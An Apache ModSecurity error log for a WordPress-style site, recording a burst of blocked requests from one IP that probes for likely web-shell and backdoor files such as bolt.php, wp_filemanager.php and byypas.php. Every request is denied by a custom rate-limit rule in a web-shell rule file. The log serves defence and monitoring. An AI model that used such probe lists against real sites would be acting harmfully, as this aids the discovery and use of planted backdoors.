[Sun Apr 19 21:26:45.559941 2026] [:error] [pid 15764:tid 15850] [client 20.91.204.211:17607] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "aeTYFWLL_sqdSHoVp-QWngAAAlc"]
[Sun Apr 19 21:26:46.475714 2026] [:error] [pid 15693:tid 15713] [client 20.91.204.211:14436] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "aeTYFsNMD-ccazQlTslbcQAAAVE"]
[Sun Apr 19 21:26:47.226469 2026] [:error] [pid 15764:tid 15844] [client 20.91.204.211:17968] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "aeTYF2LL_sqdSHoVp-QWpQAAAlI"]
[Sun Apr 19 21:26:48.217674 2026] [:error] [pid 47773:tid 47836] [client 20.91.204.211:16726] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "aeTYGOiBHdnCJDuPq9BD6QAAAFQ"]
[Sun Apr 19 21:26:49.125426 2026] [:error] [pid 15765:tid 15867] [client 20.91.204.211:15790] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "aeTYGfRqinw-W5EwQ7771wAAAo4"]
[Sun Apr 19 21:26:49.907102 2026] [:error] [pid 15764:tid 15836] [client 20.91.204.211:14422] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTYGWLL_sqdSHoVp-QWswAAAko"]
[Sun Apr 19 21:26:50.734489 2026] [:error] [pid 15764:tid 15832] [client 20.91.204.211:14247] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTYGmLL_sqdSHoVp-QWuAAAAkY"]
[Sun Apr 19 21:26:51.660900 2026] [:error] [pid 15760:tid 15773] [client 20.91.204.211:17623] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTYG_SdD_XHQMJ_ISswNQAAAcU"]
[Sun Apr 19 21:26:52.516517 2026] [:error] [pid 47772:tid 47813] [client 20.91.204.211:15955] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTYHIc0L16cb4smAz--1wAAABg"]
[Sun Apr 19 21:26:53.419911 2026] [:error] [pid 47773:tid 47838] [client 20.91.204.211:17922] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "aeTYHeiBHdnCJDuPq9BD-AAAAFY"]
[Sun Apr 19 21:26:54.986295 2026] [:error] [pid 15693:tid 15697] [client 20.91.204.211:14269] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "aeTYHsNMD-ccazQlTslbdQAAAUE"]
[Sun Apr 19 21:26:55.772833 2026] [:error] [pid 47772:tid 47801] [client 20.91.204.211:18830] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "aeTYH4c0L16cb4smAz--4AAAAAw"]
[Sun Apr 19 21:26:56.437265 2026] [:error] [pid 47772:tid 47802] [client 20.91.204.211:17949] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cu.php"] [unique_id "aeTYIIc0L16cb4smAz--4gAAAA0"]
[Sun Apr 19 21:26:57.682497 2026] [:error] [pid 15764:tid 15831] [client 20.91.204.211:29857] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aeTYIWLL_sqdSHoVp-QWvwAAAkU"]
[Sun Apr 19 21:26:58.407892 2026] [:error] [pid 47886:tid 47909] [client 20.91.204.211:18459] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aeTYIkSe8yiyuPrD7yN4XAAAANU"]
[Sun Apr 19 21:26:59.280347 2026] [:error] [pid 47772:tid 47811] [client 20.91.204.211:13112] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aeTYI4c0L16cb4smAz--5QAAABY"]
[Sun Apr 19 21:27:00.093457 2026] [:error] [pid 15760:tid 15768] [client 20.91.204.211:12493] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aeTYJPSdD_XHQMJ_ISswTAAAAcA"]
[Sun Apr 19 21:27:00.742495 2026] [:error] [pid 15764:tid 15847] [client 20.91.204.211:1448] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/900.php"] [unique_id "aeTYJGLL_sqdSHoVp-QWwQAAAlU"]
[Sun Apr 19 21:27:01.461041 2026] [:error] [pid 47886:tid 47905] [client 20.91.204.211:15805] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/900.php"] [unique_id "aeTYJUSe8yiyuPrD7yN4XgAAANE"]
[Sun Apr 19 21:27:02.723302 2026] [:error] [pid 15765:tid 15855] [client 20.91.204.211:20241] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/900.php"] [unique_id "aeTYJvRqinw-W5EwQ7772gAAAoI"]
[Sun Apr 19 21:27:03.842644 2026] [:error] [pid 15760:tid 15784] [client 20.91.204.211:17930] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/900.php"] [unique_id "aeTYJ_SdD_XHQMJ_ISswVAAAAdA"]
[Sun Apr 19 21:27:04.684998 2026] [:error] [pid 15760:tid 15770] [client 20.91.204.211:15795] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "aeTYKPSdD_XHQMJ_ISswVgAAAcI"]
[Sun Apr 19 21:27:05.496402 2026] [:error] [pid 15764:tid 15829] [client 20.91.204.211:15766] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "aeTYKWLL_sqdSHoVp-QW0wAAAkM"]
[Sun Apr 19 21:27:06.559964 2026] [:error] [pid 15760:tid 15781] [client 20.91.204.211:17617] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "aeTYKvSdD_XHQMJ_ISswXQAAAc0"]
[Sun Apr 19 21:27:07.603951 2026] [:error] [pid 15760:tid 15785] [client 20.91.204.211:14224] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "aeTYK_SdD_XHQMJ_ISswYwAAAdE"]
[Sun Apr 19 21:27:32.429737 2026] [:error] [pid 15760:tid 15777] [client 20.91.204.211:17258] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "aeTYRPSdD_XHQMJ_ISsw4wAAAck"]
[Sun Apr 19 21:27:33.542209 2026] [:error] [pid 47772:tid 47792] [client 20.91.204.211:19629] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "aeTYRYc0L16cb4smAz-_DQAAAAM"]
[Sun Apr 19 21:27:34.360567 2026] [:error] [pid 47773:tid 47829] [client 20.91.204.211:30240] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "aeTYRuiBHdnCJDuPq9BELwAAAE0"]
[Sun Apr 19 21:27:35.009378 2026] [:error] [pid 15765:tid 15859] [client 20.91.204.211:17981] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "aeTYR_Rqinw-W5EwQ7776gAAAoY"]
[Sun Apr 19 21:27:35.753130 2026] [:error] [pid 15693:tid 15716] [client 20.91.204.211:14222] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bnm.php"] [unique_id "aeTYR8NMD-ccazQlTslbgAAAAVQ"]
[Sun Apr 19 21:27:36.724891 2026] [:error] [pid 47772:tid 47797] [client 20.91.204.211:21304] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bnm.php"] [unique_id "aeTYSIc0L16cb4smAz-_FwAAAAg"]
[Sun Apr 19 21:27:38.782362 2026] [:error] [pid 47886:tid 47897] [client 20.91.204.211:19641] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bnm.php"] [unique_id "aeTYSkSe8yiyuPrD7yN4cAAAAMk"]
[Sun Apr 19 21:27:39.422158 2026] [:error] [pid 47773:tid 47840] [client 20.91.204.211:15773] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bnm.php"] [unique_id "aeTYS-iBHdnCJDuPq9BENwAAAFg"]
[Sun Apr 19 21:27:40.147551 2026] [:error] [pid 47773:tid 47817] [client 20.91.204.211:17646] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeTYTOiBHdnCJDuPq9BEOAAAAEE"]
[Sun Apr 19 21:27:40.897978 2026] [:error] [pid 15760:tid 15782] [client 20.91.204.211:30261] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeTYTPSdD_XHQMJ_ISsxDwAAAc4"]
[Sun Apr 19 21:27:42.075011 2026] [:error] [pid 47886:tid 47890] [client 20.91.204.211:18754] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeTYTkSe8yiyuPrD7yN4cQAAAMI"]
[Sun Apr 19 21:27:42.948136 2026] [:error] [pid 15760:tid 15773] [client 20.91.204.211:15757] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeTYTvSdD_XHQMJ_ISsxFwAAAcU"]
[Sun Apr 19 21:27:43.905012 2026] [:error] [pid 47775:tid 47844] [client 20.91.204.211:18812] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "aeTYT7mztjlk9tsmoewWEgAAAIE"]
[Sun Apr 19 21:27:44.959159 2026] [:error] [pid 15764:tid 15831] [client 20.91.204.211:13511] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "aeTYUGLL_sqdSHoVp-QXcAAAAkU"]
[Sun Apr 19 21:27:46.259152 2026] [:error] [pid 47772:tid 47805] [client 20.91.204.211:27980] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "aeTYUoc0L16cb4smAz-_KAAAABA"]
[Sun Apr 19 21:27:47.117038 2026] [:error] [pid 15694:tid 15733] [client 20.91.204.211:19615] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byypas.php"] [unique_id "aeTYU7imB-jol1fwqAoOWAAAAYc"]
[Sun Apr 19 21:27:47.827525 2026] [:error] [pid 15764:tid 15827] [client 20.91.204.211:13561] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeTYU2LL_sqdSHoVp-QXdwAAAkE"]
[Sun Apr 19 21:27:48.827765 2026] [:error] [pid 15694:tid 15732] [client 20.91.204.211:15128] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeTYVLimB-jol1fwqAoOYAAAAYY"]
[Sun Apr 19 21:27:49.637071 2026] [:error] [pid 47773:tid 47829] [client 20.91.204.211:18769] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeTYVeiBHdnCJDuPq9BEOgAAAE0"]
[Sun Apr 19 21:27:50.814778 2026] [:error] [pid 47772:tid 47807] [client 20.91.204.211:16263] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aeTYVoc0L16cb4smAz-_MQAAABI"]
[Sun Apr 19 21:27:51.794175 2026] [:error] [pid 47772:tid 47805] [client 20.91.204.211:15107] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "aeTYV4c0L16cb4smAz-_OAAAABA"]
[Sun Apr 19 21:27:52.663653 2026] [:error] [pid 15694:tid 15733] [client 20.91.204.211:20565] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "aeTYWLimB-jol1fwqAoOcAAAAYc"]
[Sun Apr 19 21:27:53.382200 2026] [:error] [pid 15760:tid 15777] [client 20.91.204.211:16291] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "aeTYWfSdD_XHQMJ_ISsxIQAAAck"]
[Sun Apr 19 21:27:54.221898 2026] [:error] [pid 15764:tid 15826] [client 20.91.204.211:20729] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/grsiuk.php"] [unique_id "aeTYWmLL_sqdSHoVp-QXggAAAkA"]
[Sun Apr 19 21:27:55.016627 2026] [:error] [pid 47773:tid 47839] [client 20.91.204.211:21502] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "aeTYW-iBHdnCJDuPq9BEOwAAAFc"]
[Sun Apr 19 21:27:56.003872 2026] [:error] [pid 47775:tid 47855] [client 20.91.204.211:22662] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "aeTYXLmztjlk9tsmoewWGAAAAIw"]
[Sun Apr 19 21:27:56.846363 2026] [:error] [pid 47773:tid 47823] [client 20.91.204.211:20684] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "aeTYXOiBHdnCJDuPq9BEPQAAAEc"]
[Sun Apr 19 21:27:57.572539 2026] [:error] [pid 47772:tid 47803] [client 20.91.204.211:21052] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "aeTYXYc0L16cb4smAz-_UQAAAA4"]
[Sun Apr 19 21:27:58.290713 2026] [:error] [pid 47886:tid 47893] [client 20.91.204.211:21764] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "aeTYXkSe8yiyuPrD7yN4dwAAAMU"]
[Sun Apr 19 21:27:59.330708 2026] [:error] [pid 15765:tid 15853] [client 20.91.204.211:20556] [client 20.91.204.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "aeTYX_Rqinw-W5EwQ778AAAAAoE"]
